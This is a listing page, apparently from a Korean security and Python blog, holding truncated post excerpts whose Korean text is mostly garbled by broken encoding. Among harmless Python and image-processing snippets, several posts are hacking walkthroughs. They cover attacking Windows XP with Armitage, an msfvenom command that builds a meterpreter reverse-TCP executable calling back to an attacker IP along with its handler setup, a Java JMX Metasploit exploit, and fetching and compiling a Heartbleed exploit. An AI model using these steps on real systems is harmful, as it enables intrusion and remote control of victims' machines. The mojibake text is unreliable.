728x90 ๋ฐ์ํ ์ ์ฒด ๊ธ291 Changes in Python 3.6 1. f string formatting (PEP 498) You can avoid the inconvenience of having to kill variables when using the .format () method or%. >>> lang = 'Python' >>> author = 'Guido van Rossum' >>> 'Language: {}, Author: {}'.format(lang, author) Language: Python, Author: Guido van Rossum >>> f'Language: {lang}, Author: {author}' Language: Python, Author: Guido van Rossum 2. Type hint (PEP 484) In 3.5, type.. Language 2016. 12. 24. Hack windows XP with armitage in kali ๋ชจ๋ ์ฑ ์์ ์ฌ์ฉ์ ๋ณธ์ธ์๊ฒ ์์ต๋๋ค. ๋จผ์ service apache2 start ๋ฅผ ์คํํด์ค๋ค. ๋ค์์ service postgresql start ๋ช ๋ น์ด๋ฅผ ์คํ์ํจ ํ service metasploit start ๋ฅผ ์คํํด์ค๋ค. ๋ค์์ armitage๋ฅผ ์คํ์ํจ๋ค. ์ด๋ฌํ ์ฐฝ์ ๋ณผ์์์ ํ ๋ฐ connect๋ฅผ ๋๋ฅด๊ณ yes๋ฅผ ๋๋ฅด๊ณ ๊ธฐ๋ค๋ฆฌ๋ฉด ์~~ ์~~~ ๊ธฐ๋ค๋ฆฌ๋ฉด ์ด๋ฌํ ์ฐฝ์ด ๋ฌ๋ค. tab์ฐฝ์์ hosts -> add hosts ๋ฅผ ๋๋ฅด๋ฉด ์ด๋ ๊ฒ victim IP๋ฅผ ์ ๋ ฅํ ์์๋๋ก ๋ฌ๋ค. ๋ฑ๋กํ OS ๋ฅผ ์์๋ณด์ ๋ค์ host ํญ์์ nmap scan -> quick scan(os detect)๋ฅผ ํด๋ฆญํ๊ณ yes ๊ทธ๋ผ ์ฝ์์ฐฝ์ ์ด๋ฌํ ๊ฒ์ ํ์ธํ ์ ์๋ค. ์ด์ ์ทจ์ฝ์ ์ ์ด์ฉํ์ฌ ๊ณต๊ฒฉํ๊ธฐ ์ํด ์ด๋ ํ.. Metasploit 2016. 12. 23. how to change hostname (hostname ๋ฐ๊พธ๊ธฐ ) hostname์ด๋? ์ฐ๊ฒฐ๋ ์ฅ์น์ ์ด๋ฆ์ ๋งํ๋ค. ์ฌ๊ธฐ์ ๋ณด๋ฉด parrotsec์ด๋ ๊ฒ์ด hostname ์ด๋ค. hostname์ด๋ ๋ช ๋ น์ด๋ฅผ ์ด์ฉํ์ฌ ์ผ์์ ์ผ๋ก ๋ณ๊ฒฝ์ด ๊ฐ๋ฅํ์ง๋ง /etc/hostname์์ ๋ณ๊ฒฝ์ ํ์ฌ ๋ฐ๊ฟ ์ ์๋ค. ๋๋ฅ :) Security Study/Server(Linux) 2016. 12. 23. Kali Linux by pass - Hack Windows metasploit tutorial ๋ชจ๋ ์ฑ ์์ ์ฌ์ฉ์ ๋ณธ์ธ์๊ฒ ์์ต๋๋ค. ๋จผ์ service apache2 startservice postgresql startservice metasploit startmsfvenom -p windows/meterpreter/reverse_tcp LHOST=[attacker ip] LPORT=[์ํ๋ ํฌํธ] -f exe > filename.exe ๊ทธ๋ผ /root ํด๋์ exeํ์ผ์ด ์๊ธด๊ฒ์ ํ์ธํ ์ ์๋ค.๊ทธ๋ผ ๋ค์์ผ๋ก๋ ์ปจํธ๋กคํ ํธ๋ค๋ฌ๋ฅผ ๋ง๋ค์ด๋ณด์. ๋จผ์ msfconsole์ ์ ๋ ฅํ๋ค. use exploit/multi/handlerset payload windows/meterpreter/reverse_tcp [์ฐ๋ฆฌ๊ฐ ํ์ผ์ ๋ง๋ค๋ ์ฌ์ฉํ payload]set LHOST [attacker ip]set LP.. Metasploit 2016. 12. 22. base 64 ์ํ๋ ํ์๋งํผ decoding ํ๊ธฐ python (ํ์ผ ๋ฃ์ด์) # -*- coding:utf-8 -*- import base64 f = open("")#ํ์ผ ๋ช (๊ฒฝ๋ก) Buff = f.readlines() Buff = str(Buff) for x in range(0, 50): #50์๋ฆฌ์ ๋ฐ๋ณตํ๊ณ ์ถ์ ํ์ Buff = base64.decodestring(Buff) print Buff Language 2016. 12. 22. Hack windows with metasploit Java Applet JMX Remote Code Execution ๋ชจ๋ ์ฑ ์์ ์ฌ์ฉ์์๊ฒ ์์ต๋๋ค. ์ฐ๊ตฌ ๋ชฉ์ ์ผ๋ก๋ง ์ฌ์ฉํ์๊ธฐ ๋ฐ๋๋๋ค. ๋จผ์ ํ๊ธฐ์ ์ ๋ฆฌ๋ ์ค์์ service apache2 startservice postgresql startservice metastploit start ๋ช ๋ น์ด๋ค์ ์คํ ์์ผ์ค๋ค. ๊ทธ ํ msfconsole์ ํด์ค๋ค. ๊ทธ๋ผ ์์๊ฐ์ ์ฐฝ์ด ๋ฐ๊ฒ์ด๋ค. (๊ทธ๋ฆผ์ ๋ค๋ฅผ ์ ์๋ค.) ๊ทธ ํ ์ฐ๋ฆฌ๊ฐ ํด์ผํ ์ผ์ ํธ๋ค๋ฌ๋ฅผ ๋ง๋๋ ์ผ์ด๋ค.use exploit/multi/browser/java_jre17_jmxbean_2 ๋ช ๋ น์ด๋ฅผ ์ด์ฉํ์ฌ ํธ๋ค๋ฌ๋ฅผ ๋ง๋ ๋ค. ์ฐ๋ฆฌ๊ฐ ๋ค์ ํด์ผ ํ ํ๋์ผ๋ก show options ์ ์ด์ฉํ์ฌ ์ฐ๋ฆฌ๊ฐ ์ ํด์ค์ผํ๋ ๊ฒ์ ๋ณธ๋ค. ๋จผ์ URIPATH ๋ช ๋ น์ด๋ฅผ ์ด์ฉํ์ฌ ๊ฒฝ๋ก๋ฅผ ์ง์ ํด์ค๋ค. / ํด๋๋๊ณ test๋ฅผ ํด๋๋๋ค. ์ง์ ํ์ง.. Metasploit 2016. 12. 22. web server ์ทจ์ฝ์ ์ค์บ๋ nikto :) ์น ์๋ฒ ์ทจ์ฝ์ ์ ๊ฒ ํด์ธ nikto์ ๋ํด ์์๋ณด์ :) ๊ณต์ ํํ์ด์ง๋ https://cirt.net/Nikto2 ์ด๋ค . ์ฌ๊ธฐ์ ๋ค์ด์ ๋ฐ์ ์์๊ณ ์ค์น๋ฅผ ํ ์ ์๋ค. ๋ฆฌ๋ ์ค ๊ฐ์๊ฒฝ์ฐ apt-get install nikto ์ yum install nikto ๋ก ์ฝ๊ฒ ๋ฐ์ ์์๋ค. Mac OS๊ฐ์ ๊ฒฝ์ฐ์๋ brew install nikto ๋ฅผ ํ๋ฉด ์ฝ๊ฒ ๋ฐ์์์๋ค . ๋จผ์ ๋ช ๋ น์ด๋ฅผ ๋ณด์ ๊ฐ๋จํ๊ฒ ํฐ๋ฏธ๋์์ nikto ๋ง ์น๊ฒ ๋๋ฉด ๋์๋ง๋ค์ด ๋ํ๋๋ ๊ฒ์ ์ ์์๋ค. ์กฐ๊ธ ๋ ์์ธํ ์๊ณ ์ถ๋ค๋ฉด nikto -Help ๋ฅผ ์ ๋ ฅํ๋ค๋ฉด ์ด๋ ๊ฒ ๋ง์ ๋์๋ง์ ๋ณผ์๊ฐ ์๋ค. nikto ์ ์ฌ์ฉ๋ฒ์ ์์๋ณด๋ฉด nikto -h [HOST IP] ์ด๋ ๊ฒ๋ง ํด๋๋๋ค. ์๋ ๊ธฐ๋ณธ์ ์ผ๋ก ํฌํธ๋ 80๋ฒ์ด ๋ํดํธ ๊ฐ์ ์ง๋.. Security Study/Web 2016. 12. 21. individual bands of image.py from PIL import Imageimport numpy as np im = Image.open('heartbleed.png') # In this case, it's a 3-band (red, green, blue) image# so we'll unpack the bands into 3 separate 2D arrays.r, g, b = np.array(im).T # Let's make an alpha (transparency) band based on where blue is < 100a = np.zeros_like(b)a[b Language 2016. 12. 21. RGB image analysis.py import numpy as npimport mpl_toolkits.mplot3d.axes3d as p3import matplotlib.pyplot as pltimport colorsysfrom PIL import Image # (1) Import the file to be analyzed!img_file = Image.open("sunset.jpg")img = img_file.load() # (2) Get image width & height in pixels[xs, ys] = img_file.sizemax_intensity = 100hues = {} # (3) Examine each pixel in the image filefor x in xrange(0, xs): for y in xrange(0, .. Language 2016. 12. 21. image GPS.py from PIL import Imagefrom PIL.ExifTags import TAGS filename = "sunset.jpg"extension = filename.split('.')[-1]if (extension == 'jpg') | (extension == 'JPG') | (extension == 'jpeg') | (extension == 'JPEG') | (extension == 'PNG') |(extension == 'png'): try: img = Image.open(filename) info = img._getexif() exif = {} for tag, value in info.items(): decoded = TAGS.get(tag, tag) exif[decoded] = value #.. Language 2016. 12. 21. base image.py from PIL import Image img = Image.open("filename.jpg")print(img.size)print(img.format) img.show() Language 2016. 12. 21. Heartbleed :) ํํธ๋ธ๋ฆฌ๋ heartbleed ๋ 2015๋ ๋ณด์ ์ทจ์ฝ์ ์ค ๋ํ์ ์ธ ์ทจ์ฝ์ ์ด๋ผ ํ ์ ์๋ค. heartbleed ์ทจ์ฝ์ ์ ๊ณต๊ฒฉ์๊ฐ ์๋ฒ์ ๋ฉ๋ชจ๋ฆฌ์ ์ผ๋ถ๋ถ์ ์ฝ์ด ์ฌ ์ ์๋ openSSL์ ์ทจ์ฝ์ ์ผ๋ก ์์ฒญํ ๋ ์์ฒญํ ๋จ์ด๊ฐ ๋ง์ฝ aaa์ด๋ฉด 3๋ฐ์ดํธ๋ฅผ ์์ฒญํ๋ฉด ๋๋๋ฐ ์ด ๋ณด๋ค ๋ ํฐ ๋ฐ์ดํธ์ธ 500์ ํ๊ฒ ๋๋ค๋ฉด aaa๋ฅผ ๋ฐํํ๊ณ ๋จ์ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ๋ค๋ฅธ ๊ฐ์ผ๋ก ๋ฑ์ด ์ฃผ๋ ์ทจ์ฝ์ ์ ๋งํ๋ค. ์ทจ์ฝ์ ์ ์ค์ตํด๋ณผ ๋์๋ 1. https://raw.githubusercontent.com/HackerFantastic/Public/master/exploits/heartbleed.c์ฌ๊ธฐ์ ๋ค์ด์ ๋ฐ์ ํ 2. gcc heartbleed.c -o heartbleed -Wl,-Bstatic -ssl -Wl,-Bdynamic -lssl3 .. Metasploit 2016. 12. 21. ์ด์ 1 ยทยทยท 8 9 10 11 12 13 14 ยทยทยท 25 ๋ค์ 728x90 ๋ฐ์ํ